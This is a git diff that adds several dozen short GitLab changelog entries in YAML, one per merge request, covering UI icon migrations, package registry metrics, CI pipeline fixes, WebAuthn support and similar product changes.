diff --git a/changelogs/unreleased/202273-migrate-spinner-for-app-assets-javascripts-gpg_badges-js.yml b/changelogs/unreleased/202273-migrate-spinner-for-app-assets-javascripts-gpg_badges-js.yml
new file mode 100644
index 00000000000..6b9a2974846
--- /dev/null
+++ b/changelogs/unreleased/202273-migrate-spinner-for-app-assets-javascripts-gpg_badges-js.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/assets/javascripts/gpg_badges.js'
+merge_request: 41136
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202582-migrate-spinner-for-app-views-projects-find_file.yml b/changelogs/unreleased/202582-migrate-spinner-for-app-views-projects-find_file.yml
new file mode 100644
index 00000000000..0aa4855afe5
--- /dev/null
+++ b/changelogs/unreleased/202582-migrate-spinner-for-app-views-projects-find_file.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/views/projects/find_file'
+merge_request: 41134
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202590-migrate-spinner-for-app-views-shared-issuable.yml b/changelogs/unreleased/202590-migrate-spinner-for-app-views-shared-issuable.yml
new file mode 100644
index 00000000000..d5ba511c735
--- /dev/null
+++ b/changelogs/unreleased/202590-migrate-spinner-for-app-views-shared-issuable.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/views/shared/issuable'
+merge_request: 41132
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202607-migrate-spinner-for-app-views-projects-services-prometheus.yml b/changelogs/unreleased/202607-migrate-spinner-for-app-views-projects-services-prometheus.yml
new file mode 100644
index 00000000000..970dd19ac75
--- /dev/null
+++ b/changelogs/unreleased/202607-migrate-spinner-for-app-views-projects-services-prometheus.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/views/projects/services/prometheus'
+merge_request: 41126
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/20426-allow-mr-to-merge-when-pipeline-blocked-and-pipeline-must-succeed-i.yml b/changelogs/unreleased/20426-allow-mr-to-merge-when-pipeline-blocked-and-pipeline-must-succeed-i.yml
new file mode 100644
index 00000000000..898cee8d5a0
--- /dev/null
+++ b/changelogs/unreleased/20426-allow-mr-to-merge-when-pipeline-blocked-and-pipeline-must-succeed-i.yml
@@ -0,0 +1,6 @@
+---
+title: Merge Requests are not blocked when their pipelines are waiting for manual
+ actions unless 'Pipeline must succeed' is checked in the settings.
+merge_request: 42207
+author:
+type: fixed
diff --git a/changelogs/unreleased/204785-add-service-templates-deprecation-warning-banner.yml b/changelogs/unreleased/204785-add-service-templates-deprecation-warning-banner.yml
new file mode 100644
index 00000000000..4d8e94e3d30
--- /dev/null
+++ b/changelogs/unreleased/204785-add-service-templates-deprecation-warning-banner.yml
@@ -0,0 +1,5 @@
+---
+title: Add Service Templates deprecation warning banner
+merge_request: 25587
+author:
+type: changed
diff --git a/changelogs/unreleased/205578-add-creator-id-to-packages.yml b/changelogs/unreleased/205578-add-creator-id-to-packages.yml
new file mode 100644
index 00000000000..81f2b42dae7
--- /dev/null
+++ b/changelogs/unreleased/205578-add-creator-id-to-packages.yml
@@ -0,0 +1,5 @@
+---
+title: Adds creator_id field to packages_packages table
+merge_request: 40562
+author:
+type: other
diff --git a/changelogs/unreleased/205578-add-package-count-to-usage-data-28days.yml b/changelogs/unreleased/205578-add-package-count-to-usage-data-28days.yml
new file mode 100644
index 00000000000..9e162873f09
--- /dev/null
+++ b/changelogs/unreleased/205578-add-package-count-to-usage-data-28days.yml
@@ -0,0 +1,5 @@
+---
+title: Adds monthly package data to usage ping
+merge_request: 40452
+author:
+type: added
diff --git a/changelogs/unreleased/205578-add-package-count-to-usage-data.yml b/changelogs/unreleased/205578-add-package-count-to-usage-data.yml
new file mode 100644
index 00000000000..6e23906e70c
--- /dev/null
+++ b/changelogs/unreleased/205578-add-package-count-to-usage-data.yml
@@ -0,0 +1,5 @@
+---
+title: Adds package count to usage data
+merge_request: 40039
+author:
+type: added
diff --git a/changelogs/unreleased/205578-move-package-metrics-to-core.yml b/changelogs/unreleased/205578-move-package-metrics-to-core.yml
new file mode 100644
index 00000000000..a52c9c7a3c6
--- /dev/null
+++ b/changelogs/unreleased/205578-move-package-metrics-to-core.yml
@@ -0,0 +1,5 @@
+---
+title: Move package usage ping data to core
+merge_request: 40032
+author:
+type: changed
diff --git a/changelogs/unreleased/205578-store-pkg-creator.yml b/changelogs/unreleased/205578-store-pkg-creator.yml
new file mode 100644
index 00000000000..61a13d12c2c
--- /dev/null
+++ b/changelogs/unreleased/205578-store-pkg-creator.yml
@@ -0,0 +1,5 @@
+---
+title: Record package creator
+merge_request: 41258
+author:
+type: added
diff --git a/changelogs/unreleased/207239-snippet-vueified-by-default.yml b/changelogs/unreleased/207239-snippet-vueified-by-default.yml
new file mode 100644
index 00000000000..52d5b086967
--- /dev/null
+++ b/changelogs/unreleased/207239-snippet-vueified-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Refactored snippets edit form to Vue
+merge_request: 42412
+author:
+type: changed
diff --git a/changelogs/unreleased/207347-add-terraform-state-versioning.yml b/changelogs/unreleased/207347-add-terraform-state-versioning.yml
new file mode 100644
index 00000000000..69efd6a40d4
--- /dev/null
+++ b/changelogs/unreleased/207347-add-terraform-state-versioning.yml
@@ -0,0 +1,5 @@
+---
+title: Add versioning support to Terraform state backend
+merge_request: 35211
+author:
+type: added
diff --git a/changelogs/unreleased/20748-fix-validation-on-external-wiki-service-template-form.yml b/changelogs/unreleased/20748-fix-validation-on-external-wiki-service-template-form.yml
new file mode 100644
index 00000000000..eda8ff48d87
--- /dev/null
+++ b/changelogs/unreleased/20748-fix-validation-on-external-wiki-service-template-form.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Fix validation on External Wiki service template form
+merge_request: 41964
+author:
+type: fixed
diff --git a/changelogs/unreleased/208193-limit-delete-tags-service-runtime.yml b/changelogs/unreleased/208193-limit-delete-tags-service-runtime.yml
new file mode 100644
index 00000000000..900d9d9be1e
--- /dev/null
+++ b/changelogs/unreleased/208193-limit-delete-tags-service-runtime.yml
@@ -0,0 +1,5 @@
+---
+title: Add timeout support in the delete tags service for the GitLab Registry
+merge_request: 36319
+author:
+type: changed
diff --git a/changelogs/unreleased/208287-design-change-show-unchanged-lines-ui.yml b/changelogs/unreleased/208287-design-change-show-unchanged-lines-ui.yml
new file mode 100644
index 00000000000..c3afa6e0cf0
--- /dev/null
+++ b/changelogs/unreleased/208287-design-change-show-unchanged-lines-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Re-order diff unfold buttons so that “show more lines above†appears first
+merge_request: 39060
+author:
+type: changed
diff --git a/changelogs/unreleased/208454-create-self-monitor-project-on-new-install.yml b/changelogs/unreleased/208454-create-self-monitor-project-on-new-install.yml
new file mode 100644
index 00000000000..c996e3e9373
--- /dev/null
+++ b/changelogs/unreleased/208454-create-self-monitor-project-on-new-install.yml
@@ -0,0 +1,5 @@
+---
+title: Automatically create self monitoring project on new GitLab installations
+merge_request: 40404
+author:
+type: changed
diff --git a/changelogs/unreleased/208831-replace-issue-created-icon-with-issues.yml b/changelogs/unreleased/208831-replace-issue-created-icon-with-issues.yml
new file mode 100644
index 00000000000..d3f16b0f148
--- /dev/null
+++ b/changelogs/unreleased/208831-replace-issue-created-icon-with-issues.yml
@@ -0,0 +1,5 @@
+---
+title: Replace issue-created icon with issues icon
+merge_request: 26409
+author:
+type: other
diff --git a/changelogs/unreleased/209770-design-comments-text-wrapping-behavior.yml b/changelogs/unreleased/209770-design-comments-text-wrapping-behavior.yml
new file mode 100644
index 00000000000..10c5689eccf
--- /dev/null
+++ b/changelogs/unreleased/209770-design-comments-text-wrapping-behavior.yml
@@ -0,0 +1,5 @@
+---
+title: 'Resolve Design comments: Text wrapping behavior'
+merge_request: 40359
+author:
+type: fixed
diff --git a/changelogs/unreleased/209784-fix-notes-pagination-values.yml b/changelogs/unreleased/209784-fix-notes-pagination-values.yml
new file mode 100644
index 00000000000..6a19bceda94
--- /dev/null
+++ b/changelogs/unreleased/209784-fix-notes-pagination-values.yml
@@ -0,0 +1,5 @@
+---
+title: Use the correct start time when polling for updated notes
+merge_request: 42124
+author:
+type: fixed
diff --git a/changelogs/unreleased/211899-geo-publish-snippets-replication-events.yml b/changelogs/unreleased/211899-geo-publish-snippets-replication-events.yml
new file mode 100644
index 00000000000..cef68545629
--- /dev/null
+++ b/changelogs/unreleased/211899-geo-publish-snippets-replication-events.yml
@@ -0,0 +1,5 @@
+---
+title: 'Geo: Added DB tables for snippets replication'
+merge_request: 38688
+author:
+type: added
diff --git a/changelogs/unreleased/212274-remove-virtual-list-from-test-report.yml b/changelogs/unreleased/212274-remove-virtual-list-from-test-report.yml
new file mode 100644
index 00000000000..e66665a4dd0
--- /dev/null
+++ b/changelogs/unreleased/212274-remove-virtual-list-from-test-report.yml
@@ -0,0 +1,5 @@
+---
+title: Remove virtual scroll list from pipeline test report
+merge_request: 41935
+author:
+type: fixed
diff --git a/changelogs/unreleased/212329-related-issues-to-core_frontend-and-qa.yml b/changelogs/unreleased/212329-related-issues-to-core_frontend-and-qa.yml
new file mode 100644
index 00000000000..caf01ab773f
--- /dev/null
+++ b/changelogs/unreleased/212329-related-issues-to-core_frontend-and-qa.yml
@@ -0,0 +1,5 @@
+---
+title: Move related issues to core
+merge_request: 39779
+author:
+type: changed
diff --git a/changelogs/unreleased/212435-fix-upstream-pipeline-result.yml b/changelogs/unreleased/212435-fix-upstream-pipeline-result.yml
new file mode 100644
index 00000000000..2f123f4fc4b
--- /dev/null
+++ b/changelogs/unreleased/212435-fix-upstream-pipeline-result.yml
@@ -0,0 +1,5 @@
+---
+title: Fix upstream pipeline status when strategy dependent
+merge_request: 41930
+author:
+type: fixed
diff --git a/changelogs/unreleased/212595-ide-commit-errors.yml b/changelogs/unreleased/212595-ide-commit-errors.yml
new file mode 100644
index 00000000000..cfd28e3cb77
--- /dev/null
+++ b/changelogs/unreleased/212595-ide-commit-errors.yml
@@ -0,0 +1,5 @@
+---
+title: Fix error reporting for Web IDE commits
+merge_request: 42383
+author:
+type: fixed
diff --git a/changelogs/unreleased/213080-fix-skipped-status-problem-of-needs.yml b/changelogs/unreleased/213080-fix-skipped-status-problem-of-needs.yml
new file mode 100644
index 00000000000..ed59d696c44
--- /dev/null
+++ b/changelogs/unreleased/213080-fix-skipped-status-problem-of-needs.yml
@@ -0,0 +1,5 @@
+---
+title: Fix skipped status of DAG pipelines
+merge_request: 39205
+author:
+type: fixed
diff --git a/changelogs/unreleased/213101-junit-report-times.yml b/changelogs/unreleased/213101-junit-report-times.yml
new file mode 100644
index 00000000000..b9e295f5594
--- /dev/null
+++ b/changelogs/unreleased/213101-junit-report-times.yml
@@ -0,0 +1,5 @@
+---
+title: Adjust format for JUnit report duration times
+merge_request: 39644
+author:
+type: changed
diff --git a/changelogs/unreleased/213351-address-mobile-issues-for-ci-variable-table.yml b/changelogs/unreleased/213351-address-mobile-issues-for-ci-variable-table.yml
new file mode 100644
index 00000000000..a037557f79a
--- /dev/null
+++ b/changelogs/unreleased/213351-address-mobile-issues-for-ci-variable-table.yml
@@ -0,0 +1,5 @@
+---
+title: Fix padding on CI settings tables in mobile version
+merge_request: 41728
+author:
+type: fixed
diff --git a/changelogs/unreleased/213372-update-prometheus-version.yml b/changelogs/unreleased/213372-update-prometheus-version.yml
new file mode 100644
index 00000000000..835e2ab1360
--- /dev/null
+++ b/changelogs/unreleased/213372-update-prometheus-version.yml
@@ -0,0 +1,5 @@
+---
+title: Update Prometheus helm chart version to 10.4.1
+merge_request: 39681
+author:
+type: changed
diff --git a/changelogs/unreleased/213456-fix-bridge-retry-after-retry.yml b/changelogs/unreleased/213456-fix-bridge-retry-after-retry.yml
new file mode 100644
index 00000000000..ba1ed46c7f0
--- /dev/null
+++ b/changelogs/unreleased/213456-fix-bridge-retry-after-retry.yml
@@ -0,0 +1,5 @@
+---
+title: Fix non-retrying bridges after retried builds in CI pipelines
+merge_request: 39989
+author:
+type: fixed
diff --git a/changelogs/unreleased/214241-update-releases-page-to-use-graphql-endpoint.yml b/changelogs/unreleased/214241-update-releases-page-to-use-graphql-endpoint.yml
new file mode 100644
index 00000000000..9c6aaa5b469
--- /dev/null
+++ b/changelogs/unreleased/214241-update-releases-page-to-use-graphql-endpoint.yml
@@ -0,0 +1,5 @@
+---
+title: Add total count to GraphQL release data
+merge_request: 40147
+author:
+type: added
diff --git a/changelogs/unreleased/214382-remove-feature-flag.yml b/changelogs/unreleased/214382-remove-feature-flag.yml
new file mode 100644
index 00000000000..38695c5bf37
--- /dev/null
+++ b/changelogs/unreleased/214382-remove-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove attempt_group_search_optimizations feature flag
+merge_request: 40881
+author: gaga5lala
+type: other
diff --git a/changelogs/unreleased/214785-support-jwt-param-from-workhorse-for-file-uploads.yml b/changelogs/unreleased/214785-support-jwt-param-from-workhorse-for-file-uploads.yml
new file mode 100644
index 00000000000..22b76003f69
--- /dev/null
+++ b/changelogs/unreleased/214785-support-jwt-param-from-workhorse-for-file-uploads.yml
@@ -0,0 +1,5 @@
+---
+title: Support JWT params set by Workhorse during uploads
+merge_request: 33277
+author:
+type: changed
diff --git a/changelogs/unreleased/216480-ide-multiproject-pipelines.yml b/changelogs/unreleased/216480-ide-multiproject-pipelines.yml
new file mode 100644
index 00000000000..e41d4401359
--- /dev/null
+++ b/changelogs/unreleased/216480-ide-multiproject-pipelines.yml
@@ -0,0 +1,5 @@
+---
+title: Multi-project pipelines in Web IDE lead to 404
+merge_request: 41082
+author:
+type: fixed
diff --git a/changelogs/unreleased/216491-monaco-diff-selection.yml b/changelogs/unreleased/216491-monaco-diff-selection.yml
new file mode 100644
index 00000000000..156bf1329e4
--- /dev/null
+++ b/changelogs/unreleased/216491-monaco-diff-selection.yml
@@ -0,0 +1,5 @@
+---
+title: Selection Highlight Oversteps Bounds of Actual Selection in Web IDE
+merge_request: 41553
+author:
+type: fixed
diff --git a/changelogs/unreleased/217314-actioncable-prometheus.yml b/changelogs/unreleased/217314-actioncable-prometheus.yml
new file mode 100644
index 00000000000..cdf77d33381
--- /dev/null
+++ b/changelogs/unreleased/217314-actioncable-prometheus.yml
@@ -0,0 +1,5 @@
+---
+title: Export ActionCable metrics to Prometheus
+merge_request: 41358
+author:
+type: added
diff --git a/changelogs/unreleased/217314-more-actioncable-prometheus-metrics.yml b/changelogs/unreleased/217314-more-actioncable-prometheus-metrics.yml
new file mode 100644
index 00000000000..842dc7e4443
--- /dev/null
+++ b/changelogs/unreleased/217314-more-actioncable-prometheus-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: New ActionCable Prometheus metrics added
+merge_request: 41771
+author:
+type: added
diff --git a/changelogs/unreleased/217581-remove-default-column.yml b/changelogs/unreleased/217581-remove-default-column.yml
new file mode 100644
index 00000000000..ea4ee0e7d28
--- /dev/null
+++ b/changelogs/unreleased/217581-remove-default-column.yml
@@ -0,0 +1,5 @@
+---
+title: Remove default column from services table
+merge_request: 39817
+author:
+type: other
diff --git a/changelogs/unreleased/217802-fj-remove-file_name-and-content-snippet-mutations.yml b/changelogs/unreleased/217802-fj-remove-file_name-and-content-snippet-mutations.yml
new file mode 100644
index 00000000000..036015c8e26
--- /dev/null
+++ b/changelogs/unreleased/217802-fj-remove-file_name-and-content-snippet-mutations.yml
@@ -0,0 +1,5 @@
+---
+title: Remove file_name and content in snippet mutations
+merge_request: 40727
+author:
+type: changed
diff --git a/changelogs/unreleased/217908-handle-git-errors.yml b/changelogs/unreleased/217908-handle-git-errors.yml
new file mode 100644
index 00000000000..bb6c4918428
--- /dev/null
+++ b/changelogs/unreleased/217908-handle-git-errors.yml
@@ -0,0 +1,5 @@
+---
+title: Fix unfinished merge by Merge Train process
+merge_request: 41106
+author:
+type: fixed
diff --git a/changelogs/unreleased/218017-nuget-size-limits-db.yml b/changelogs/unreleased/218017-nuget-size-limits-db.yml
new file mode 100644
index 00000000000..8cc4b196745
--- /dev/null
+++ b/changelogs/unreleased/218017-nuget-size-limits-db.yml
@@ -0,0 +1,5 @@
+---
+title: Add package file size limits to plan limits
+merge_request: 39633
+author:
+type: added
diff --git a/changelogs/unreleased/218609-bitbucket-server-importer-by-slug.yml b/changelogs/unreleased/218609-bitbucket-server-importer-by-slug.yml
new file mode 100644
index 00000000000..8a633dcacf6
--- /dev/null
+++ b/changelogs/unreleased/218609-bitbucket-server-importer-by-slug.yml
@@ -0,0 +1,5 @@
+---
+title: Add user mapping by username when importing projects for Bitbucket Server importer
+merge_request: 36885
+author:
+type: added
diff --git a/changelogs/unreleased/219171-package-n2-bug.yml b/changelogs/unreleased/219171-package-n2-bug.yml
new file mode 100644
index 00000000000..0444f2b0249
--- /dev/null
+++ b/changelogs/unreleased/219171-package-n2-bug.yml
@@ -0,0 +1,5 @@
+---
+title: Fix package API query performance when pipelines and multiple versions are present
+merge_request: 40770
+author:
+type: performance
diff --git a/changelogs/unreleased/219788-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml b/changelogs/unreleased/219788-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml
new file mode 100644
index 00000000000..c089c323ac6
--- /dev/null
+++ b/changelogs/unreleased/219788-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate environments pin button
+merge_request: 38891
+author: George Tsiolis
+type: changed
diff --git a/changelogs/unreleased/219797-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml b/changelogs/unreleased/219797-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml
new file mode 100644
index 00000000000..ae3d1494f8c
--- /dev/null
+++ b/changelogs/unreleased/219797-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml
@@ -0,0 +1,5 @@
+---
+title: Replace deprecated button with new button
+merge_request: 38940
+author:
+type: other
diff --git a/changelogs/unreleased/220322-add-target-id-column-to-audit-events.yml b/changelogs/unreleased/220322-add-target-id-column-to-audit-events.yml
new file mode 100644
index 00000000000..3ea7c5dbd82
--- /dev/null
+++ b/changelogs/unreleased/220322-add-target-id-column-to-audit-events.yml
@@ -0,0 +1,5 @@
+---
+title: Add target_id column to audit_events table
+merge_request: 40954
+author:
+type: other
diff --git a/changelogs/unreleased/220509-new-snippet-link.yml b/changelogs/unreleased/220509-new-snippet-link.yml
new file mode 100644
index 00000000000..6bf21189d9f
--- /dev/null
+++ b/changelogs/unreleased/220509-new-snippet-link.yml
@@ -0,0 +1,5 @@
+---
+title: Take relative_url_path into account when building URLs in snippets
+merge_request: 39960
+author:
+type: fixed
diff --git a/changelogs/unreleased/220540-drop-ds-sast-dind.yml b/changelogs/unreleased/220540-drop-ds-sast-dind.yml
new file mode 100644
index 00000000000..d1c2818aa94
--- /dev/null
+++ b/changelogs/unreleased/220540-drop-ds-sast-dind.yml
@@ -0,0 +1,5 @@
+---
+title: Drop Docker-in-Docker mode for SAST and Dependency Scanning
+merge_request: 41260
+author:
+type: removed
diff --git a/changelogs/unreleased/220540-remove-ds-dind-from-docs.yml b/changelogs/unreleased/220540-remove-ds-dind-from-docs.yml
new file mode 100644
index 00000000000..13b80ffacb3
--- /dev/null
+++ b/changelogs/unreleased/220540-remove-ds-dind-from-docs.yml
@@ -0,0 +1,5 @@
+---
+title: Remove Docker-in-Docker mode from Dependency Scanning documentation
+merge_request: 40631
+author:
+type: removed
diff --git a/changelogs/unreleased/220803-embed-dropdown-snippets.yml b/changelogs/unreleased/220803-embed-dropdown-snippets.yml
new file mode 100644
index 00000000000..90e1a967368
--- /dev/null
+++ b/changelogs/unreleased/220803-embed-dropdown-snippets.yml
@@ -0,0 +1,5 @@
+---
+title: Use dropdown for embed in snippets
+merge_request: 39885
+author:
+type: changed
diff --git a/changelogs/unreleased/220916-new-comment-not-drop-merge-train.yml b/changelogs/unreleased/220916-new-comment-not-drop-merge-train.yml
new file mode 100644
index 00000000000..707b5d541f1
--- /dev/null
+++ b/changelogs/unreleased/220916-new-comment-not-drop-merge-train.yml
@@ -0,0 +1,5 @@
+---
+title: Prevent MRs to be dropped from Merge Trains for open discussions
+merge_request: 39957
+author:
+type: changed
diff --git a/changelogs/unreleased/222483-create-vulnerability-placeholder-model.yml b/changelogs/unreleased/222483-create-vulnerability-placeholder-model.yml
new file mode 100644
index 00000000000..d97b1da2583
--- /dev/null
+++ b/changelogs/unreleased/222483-create-vulnerability-placeholder-model.yml
@@ -0,0 +1,5 @@
+---
+title: Create placeholder model for Vulnerability to reserve + as a reference prefix
+merge_request: 42147
+author:
+type: added
diff --git a/changelogs/unreleased/222785-toggle-component-on-the-integration-settings-pages-should-be-a-che.yml b/changelogs/unreleased/222785-toggle-component-on-the-integration-settings-pages-should-be-a-che.yml
new file mode 100644
index 00000000000..f5f2f83d6a6
--- /dev/null
+++ b/changelogs/unreleased/222785-toggle-component-on-the-integration-settings-pages-should-be-a-che.yml
@@ -0,0 +1,5 @@
+---
+title: Change active toggle on integration settings page to checkbox
+merge_request: 39586
+author:
+type: changed
diff --git a/changelogs/unreleased/223156-remove-stale-merge-refs.yml b/changelogs/unreleased/223156-remove-stale-merge-refs.yml
new file mode 100644
index 00000000000..bed9008c542
--- /dev/null
+++ b/changelogs/unreleased/223156-remove-stale-merge-refs.yml
@@ -0,0 +1,5 @@
+---
+title: Remove stale merge refs
+merge_request: 41572
+author:
+type: performance
diff --git a/changelogs/unreleased/223156-remove-stale-mr-refs.yml b/changelogs/unreleased/223156-remove-stale-mr-refs.yml
new file mode 100644
index 00000000000..d22fb45ad66
--- /dev/null
+++ b/changelogs/unreleased/223156-remove-stale-mr-refs.yml
@@ -0,0 +1,5 @@
+---
+title: Clean up stale merge request HEAD ref
+merge_request: 41555
+author:
+type: performance
diff --git a/changelogs/unreleased/223846-alert-assignee-avatar.yml b/changelogs/unreleased/223846-alert-assignee-avatar.yml
new file mode 100644
index 00000000000..817ef36f619
--- /dev/null
+++ b/changelogs/unreleased/223846-alert-assignee-avatar.yml
@@ -0,0 +1,5 @@
+---
+title: Add Alert Management assignee avatar for list and details view
+merge_request: 40275
+author:
+type: changed
diff --git a/changelogs/unreleased/223855-performance-defer-certain-parts-of-setting-up-snowplow-telemetry.yml b/changelogs/unreleased/223855-performance-defer-certain-parts-of-setting-up-snowplow-telemetry.yml
new file mode 100644
index 00000000000..6ed164ce8c0
--- /dev/null
+++ b/changelogs/unreleased/223855-performance-defer-certain-parts-of-setting-up-snowplow-telemetry.yml
@@ -0,0 +1,5 @@
+---
+title: Defer (certain) parts of setting up snowplow telemetry
+merge_request: 40299
+author:
+type: performance
diff --git a/changelogs/unreleased/224506-reduce-highlight-limits.yml b/changelogs/unreleased/224506-reduce-highlight-limits.yml
new file mode 100644
index 00000000000..d132768dfa6
--- /dev/null
+++ b/changelogs/unreleased/224506-reduce-highlight-limits.yml
@@ -0,0 +1,5 @@
+---
+title: Make highlighting limits stricter
+merge_request: 39934
+author:
+type: performance
diff --git a/changelogs/unreleased/224526-es-client-timeout.yml b/changelogs/unreleased/224526-es-client-timeout.yml
new file mode 100644
index 00000000000..017acfa991a
--- /dev/null
+++ b/changelogs/unreleased/224526-es-client-timeout.yml
@@ -0,0 +1,5 @@
+---
+title: Add admin setting of Elasticsearch client request timeout
+merge_request: 41470
+author:
+type: added
diff --git a/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-dropdowns.yml b/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-dropdowns.yml
new file mode 100644
index 00000000000..f762178bf2c
--- /dev/null
+++ b/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-dropdowns.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-times with GitLab SVG close icon in dropdowns
+merge_request: 40585
+author:
+type: performance
diff --git a/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-for-promotions.yml b/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-for-promotions.yml
new file mode 100644
index 00000000000..85574af7454
--- /dev/null
+++ b/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-for-promotions.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-times with GitLab SVG close icon in promotions
+merge_request: 40586
+author:
+type: performance
diff --git a/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-forms.yml b/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-forms.yml
new file mode 100644
index 00000000000..3ec4e4aa1b1
--- /dev/null
+++ b/changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-forms.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-times with GitLab SVG close icon in forms
+merge_request: 40587
+author:
+type: performance
diff --git a/changelogs/unreleased/224649-fix-resolved-threads-popup-link-and-placement.yml b/changelogs/unreleased/224649-fix-resolved-threads-popup-link-and-placement.yml
new file mode 100644
index 00000000000..de4dc262238
--- /dev/null
+++ b/changelogs/unreleased/224649-fix-resolved-threads-popup-link-and-placement.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Fix Resolved threads popup link and placement
+merge_request: 40489
+author:
+type: fixed
diff --git a/changelogs/unreleased/22506-webauthn-step-1.yml b/changelogs/unreleased/22506-webauthn-step-1.yml
new file mode 100644
index 00000000000..3be52ec3ede
--- /dev/null
+++ b/changelogs/unreleased/22506-webauthn-step-1.yml
@@ -0,0 +1,5 @@
+---
+title: WebAuthn support (behind feature flag)
+merge_request: 26692
+author: Jan Beckmann
+type: added
diff --git a/changelogs/unreleased/225166-adjust-the-package-registry-breadcrumb-to-match-navigation.yml b/changelogs/unreleased/225166-adjust-the-package-registry-breadcrumb-to-match-navigation.yml
new file mode 100644
index 00000000000..066e9d1c3b9
--- /dev/null
+++ b/changelogs/unreleased/225166-adjust-the-package-registry-breadcrumb-to-match-navigation.yml
@@ -0,0 +1,5 @@
+---
+title: Adjust the Package Registry breadcrumb to match navigation
+merge_request: 41264
+author:
+type: changed
diff --git a/changelogs/unreleased/225207-replace-fa-search-icons-with-gitlab-svg-icons.yml b/changelogs/unreleased/225207-replace-fa-search-icons-with-gitlab-svg-icons.yml
new file mode 100644
index 00000000000..4a246a4990e
--- /dev/null
+++ b/changelogs/unreleased/225207-replace-fa-search-icons-with-gitlab-svg-icons.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-search-* icons with GitLab SVG icons
+merge_request: 40580
+author:
+type: changed
diff --git a/changelogs/unreleased/225218-format-conan-package-manager.yml b/changelogs/unreleased/225218-format-conan-package-manager.yml
new file mode 100644
index 00000000000..6ae1048d4f8
--- /dev/null
+++ b/changelogs/unreleased/225218-format-conan-package-manager.yml
@@ -0,0 +1,5 @@
+---
+title: Format Conan package manager in Dependency List
+merge_request: 40811
+author:
+type: added
diff --git a/changelogs/unreleased/225242-use-pointer-crosshair-when-hovering-on-the-design-view.yml b/changelogs/unreleased/225242-use-pointer-crosshair-when-hovering-on-the-design-view.yml
new file mode 100644
index 00000000000..899202dbda6
--- /dev/null
+++ b/changelogs/unreleased/225242-use-pointer-crosshair-when-hovering-on-the-design-view.yml
@@ -0,0 +1,5 @@
+---
+title: Use pointer:crosshair when hovering on the design view
+merge_request: 39671
+author:
+type: changed
diff --git a/changelogs/unreleased/225254-remove-feature-flag.yml b/changelogs/unreleased/225254-remove-feature-flag.yml
new file mode 100644
index 00000000000..3cb326d6e5c
--- /dev/null
+++ b/changelogs/unreleased/225254-remove-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove auto close incident feature flag
+merge_request: 40612
+author:
+type: changed
diff --git a/changelogs/unreleased/225393-Close-Milestone-Button-is-Incorect-Size.yml b/changelogs/unreleased/225393-Close-Milestone-Button-is-Incorect-Size.yml
new file mode 100644
index 00000000000..4cb9fa9a77e
--- /dev/null
+++ b/changelogs/unreleased/225393-Close-Milestone-Button-is-Incorect-Size.yml
@@ -0,0 +1,5 @@
+---
+title: 'Milestone Dashboard: Move Gray Type Badge Next to the Milestone Title'
+merge_request: 39617
+author: Kev @KevSlashNull
+type: fixed
diff --git a/changelogs/unreleased/225467-package-registry-adjust-the-max-width-for-non-fluid-screens-to-be-.yml b/changelogs/unreleased/225467-package-registry-adjust-the-max-width-for-non-fluid-screens-to-be-.yml
new file mode 100644
index 00000000000..14c5c70d2e8
--- /dev/null
+++ b/changelogs/unreleased/225467-package-registry-adjust-the-max-width-for-non-fluid-screens-to-be-.yml
@@ -0,0 +1,5 @@
+---
+title: 'Package Registry: Adjust the max width for non-fluid screens to be 990'
+merge_request: 41549
+author:
+type: changed
diff --git a/changelogs/unreleased/225493-Retrieve-SecDash-URL-of-Projects.yml b/changelogs/unreleased/225493-Retrieve-SecDash-URL-of-Projects.yml
new file mode 100644
index 00000000000..47f32761592
--- /dev/null
+++ b/changelogs/unreleased/225493-Retrieve-SecDash-URL-of-Projects.yml
@@ -0,0 +1,6 @@
+---
+title: Retrieve security dashboard URL used on Project Severity status report from
+ backend
+merge_request: 40801
+author: Kev @KevSlashNull
+type: changed
diff --git a/changelogs/unreleased/225555-update-usage-ping-data-to-track-usage-of-diffnotes-2.yml b/changelogs/unreleased/225555-update-usage-ping-data-to-track-usage-of-diffnotes-2.yml
new file mode 100644
index 00000000000..57abc24d2a0
--- /dev/null
+++ b/changelogs/unreleased/225555-update-usage-ping-data-to-track-usage-of-diffnotes-2.yml
@@ -0,0 +1,5 @@
+---
+title: Add merge request usage to usage data
+merge_request: 40391
+author:
+type: other
